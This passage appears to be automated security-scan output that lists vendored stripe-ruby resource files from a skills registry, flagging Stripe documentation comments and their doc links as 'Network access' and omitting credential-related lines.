# Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/personalization_design.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/physical_bundle.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/token.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/transaction.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Any use of an [issued card](https://docs.stripe.com/issuing) that results in funds entering or leaving - Network accessline 8
# `Transaction` object. # # Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions) - Network accessline 10
# Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions) - Network accessline 36
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 229
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 311
# The Treasury [ReceivedCredit](https://docs.stripe.com/api/treasury/received_credits) representing this Issuing transaction if it is a refund - Network accessline 313
# The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) representing this Issuing transaction if it is a capture - Network accessline 324
# The transaction amount, which will be reflected in your balance. This amount is in your currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 326
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 330
# ID of the [balance transaction](https://docs.stripe.com/api/balance_transactions) associated with this transaction. - Network accessline 338
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 346
# The amount that the merchant will receive, denominated in `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). It will be different from `amount` if the merchant is taking payment in a - Network accessline 352
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 360
# [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this transaction. If a network token was not used for this transaction, this field will be null. - Network accessline 362
# [Treasury](https://docs.stripe.com/api/treasury) details related to this transaction if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/line_item.rb
- Executable scriptline 1
Executable file - Network accessline 15
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 16
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 18
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 58
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 66
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/login_link.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Login Links are single-use URLs that takes an Express account to the login page for their Stripe dashboard. # A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the user directly to t - Network accessline 6
# A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the user directly to their [Express dashboard for the specified account](https://docs.stripe.com/connect/integrate-express-dashboard#c
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/mandate.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_attempt_record.rb
- Executable scriptline 1
Executable file - Network accessline 18
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 20
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 33
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 35
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 48
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 50
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 63
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 65
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 78
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 80
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 93
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 95
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 108
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 110
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 210
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 212
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 424
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 432
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 731
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 735
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 757
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 975
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1293
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1295
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1502
# Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma - Network accessline 1624
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1626
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1763
# The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types. - Network accessline 1878
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1886
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1940
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_intent.rb
- Executable scriptline 1
Executable file - Network accessline 9
# # A PaymentIntent transitions through # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle) - Network accessline 10
# A PaymentIntent transitions through # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle) # throughout its lifetime as it interfaces with Stripe.js to perform - Network accessline 11
# [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle) - Network accessline 13
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 15
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 32
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 49
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 75
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 98
# Controls whether this PaymentIntent will accept redirect-based payment methods. # # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional s - Network accessline 100
# Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentIntent, you - Network accessline 117
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 152
# For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one. - Network accessline 156
# For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 158
# For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. - Network accessline 160
# A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 178
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 180
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 182
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 183
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 184
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme - Network accessline 186
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 192
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect - Network accessline 193
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 194
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 196
# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [stat - Network accessline 197
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you throug - Network accessline 198
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 200
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr - Network accessline 201
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 202
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 203
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 204
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 205
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 206
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # Pa - Network accessline 207
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 210
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 212
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 321
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 329
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 344
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 352
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 394
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 402
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 417
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 425
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 444
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 465
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 473
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 488
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 496
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 534
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 542
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 557
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 565
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 605
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 613
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 628
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 636
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 678
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 686
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 701
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 709
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 784
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1580
# Installment details for this payment. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1582
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1588
# Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. - Network accessline 1590
# Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. - Network accessline 1592
# Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. - Network accessline 1594
# Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. - Network accessline 1596
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1637
# Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1639
# Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe. - Network accessline 2747
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2755
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2787
# The amount transferred to the destination account. This transfer will occur automatically after the payment succeeds. If no amount is specified, by default the entire payment amount is transferred to the destination account. # The - Network accessline 2788
# The amount must be less than or equal to the [amount](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-amount), and must be a positive integer - Network accessline 2802
# Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥ - Network accessline 2812
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 2814
# Settings to configure compatible payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods) - Network accessline 2824
# The client secret can be used to complete a payment from your frontend. It should not be stored, logged, or exposed to anyone other than the customer. Make sure that you have TLS enabled on any page that includes the client secret. # - Network accessline 2826
[Credential-related source omitted] - Access to secretsline 2826
[Credential-related source omitted] - Access to secretsline 2827
[Credential-related source omitted] - Network accessline 2832
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2836
# Payment methods attached to other Customers cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 2838
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be - Network accessline 2842
# Payment methods attached to other Accounts cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 2844
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee - Network accessline 2856
# ID of the latest [Charge object](https://docs.stripe.com/api/charges) created by this PaymentIntent. This property is `null` until PaymentIntent confirmation is attempted. - Network accessline 2860
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Learn more about [storing information in metad - Network accessline 2873
# Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this PaymentIntent. - Network accessline 2877
# The list of payment method types (e.g. card) that this PaymentIntent is allowed to use. A comprehensive list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type). - Network accessline 2883
# Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails). - Network accessline 2899
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 2901
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 2903
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 2905
# Status of this PaymentIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `requires_capture`, `canceled`, or `succeeded`. Read more about each PaymentIntent [status](https://docs.stripe.com/ - Network accessline 2907
# The data that automatically creates a Transfer after the payment finalizes. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 2909
# A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers). - Network accessline 2932
# You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing. - Network accessline 2934
# After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re - Network accessline 2936
# You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead. - Network accessline 2946
# You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing. - Network accessline 2948
# After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re - Network accessline 2950
# You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead. - Network accessline 2962
# Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation. # # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 2964
# Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 2976
# Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation. # # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 2978
# Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 2999
# # If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 3000
# If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) # and the PaymentIntent's [client_secret](https://docs.stripe - Network accessline 3001
# using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 3002
[Credential-related source omitted] - Access to secretsline 3002
[Credential-related source omitted] - Network accessline 3038
# # If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 3039
# If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) # and the PaymentIntent's [client_secret](https://docs.stripe - Network accessline 3040
# using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 3041
[Credential-related source omitted] - Access to secretsline 3041
[Credential-related source omitted] - Network accessline 3066
# Creates a PaymentIntent object. # # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 3067
# # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) # to continue the payment. Learn more about <a href="/docs/payments/payment-intents">the availab - Network accessline 3068
# After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 3072
# When you use confirm=true during creation, it's equivalent to creating # and confirming the PaymentIntent in the same call. You can use any parameters # available in the [confirm API](https://docs.stripe.com/docs/api/payment_inten - Network accessline 3073
# and confirming the PaymentIntent in the same call. You can use any parameters # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply # confirm=true. - Network accessline 3074
# available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply - Network accessline 3080
# Perform an incremental authorization on an eligible # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 3081
# [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 3082
# PaymentIntent's status must be requires_capture and # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) # m - Network accessline 3083
# [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) - Network accessline 3092
# If the incremental authorization succeeds, the PaymentIntent object # returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 3093
# returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). # If the incremental authorization fails, a - Network accessline 3094
# [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 3095
# If the incremental authorization fails, a # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other # fields on the PaymentIntent or Charge update. The PaymentIntent - Network accessline 3096
# [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other - Network accessline 3101
# After it's captured, a PaymentIntent can no longer be incremented. # # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 3103
# Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 3113
# Perform an incremental authorization on an eligible # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 3114
# [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 3115
# PaymentIntent's status must be requires_capture and # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) # m - Network accessline 3116
# [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) - Network accessline 3125
# If the incremental authorization succeeds, the PaymentIntent object # returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 3126
# returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). # If the incremental authorization fails, a - Network accessline 3127
# [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 3128
# If the incremental authorization fails, a # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other # fields on the PaymentIntent or Charge update. The PaymentIntent - Network accessline 3129
# [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other - Network accessline 3134
# After it's captured, a PaymentIntent can no longer be incremented. # # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 3136
# Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 3168
# always requires you to confirm the PaymentIntent again. If you prefer to # update and confirm at the same time, we recommend updating properties through # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 3170
# the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_intent_amount_details_line_item.rb
- Executable scriptline 1
Executable file - Network accessline 62
# The Stripe account ID of the connected account that sells the item. This is only needed when using [Separate Charges and Transfers](https://docs.stripe.com/connect/separate-charges-and-transfers). - Network accessline 92
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 105
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 125
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_link.rb
- Executable scriptline 1
Executable file - Network accessline 5
# A payment link is a shareable URL that will take your customers to a hosted payment page. A payment link can be shared and used multiple times. # # When a customer opens a payment link it will open a new [checkout session](https://doc - Network accessline 6
# # When a customer opens a payment link it will open a new [checkout session](https://docs.stripe.com/api/checkout/sessions) to render the payment page. You can use [checkout session events](https://docs.stripe.com/api/events/types#event - Network accessline 7
